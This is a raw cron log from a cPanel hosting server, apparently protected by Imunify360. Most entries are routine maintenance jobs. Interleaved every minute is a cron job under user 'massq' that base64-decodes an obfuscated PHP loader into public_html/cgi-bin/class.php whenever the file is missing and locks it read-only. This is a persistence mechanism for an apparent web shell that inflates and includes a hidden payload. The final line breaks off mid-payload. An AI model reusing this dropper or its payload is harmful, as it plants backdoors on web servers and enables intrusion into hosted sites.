Sep  5 06:00:01 server CROND[29729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:00:01 server CROND[29731]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 06:00:01 server CROND[29732]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  5 06:00:01 server CROND[29733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:00:01 server CROND[29737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:00:01 server CROND[29730]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 06:00:01 server CROND[29734]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:01:01 server CROND[30596]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 06:01:01 server CROND[30597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:01:01 server CROND[30598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:01:01 server CROND[30599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:01:01 server run-parts(/etc/cron.hourly)[30596]: starting 0anacron
Sep  5 06:01:01 server run-parts(/etc/cron.hourly)[30617]: finished 0anacron
Sep  5 06:02:01 server CROND[30997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:02:01 server CROND[30998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:02:01 server CROND[30999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:03:01 server CROND[31386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:03:01 server CROND[31387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:03:01 server CROND[31388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:04:01 server CROND[31855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:04:01 server CROND[31857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:04:01 server CROND[31856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:05:01 server CROND[32252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:05:01 server CROND[32253]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:05:01 server CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:05:01 server CROND[32260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:05:01 server CROND[32262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:05:01 server CROND[32264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:05:01 server CROND[32263]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:05:01 server CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:06:01 server CROND[664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:06:01 server CROND[663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:06:01 server CROND[671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:07:01 server CROND[1111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:07:01 server CROND[1112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:07:01 server CROND[1113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:08:01 server CROND[1519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:08:01 server CROND[1520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:08:01 server CROND[1521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:09:01 server CROND[2036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:09:01 server CROND[2037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:09:01 server CROND[2039]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 06:09:01 server CROND[2038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:10:01 server CROND[2498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:10:01 server CROND[2506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:10:01 server CROND[2507]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:10:01 server CROND[2509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:10:01 server CROND[2511]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:10:01 server CROND[2510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:10:01 server CROND[2508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:10:01 server CROND[2514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:11:01 server CROND[3386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:11:01 server CROND[3388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqB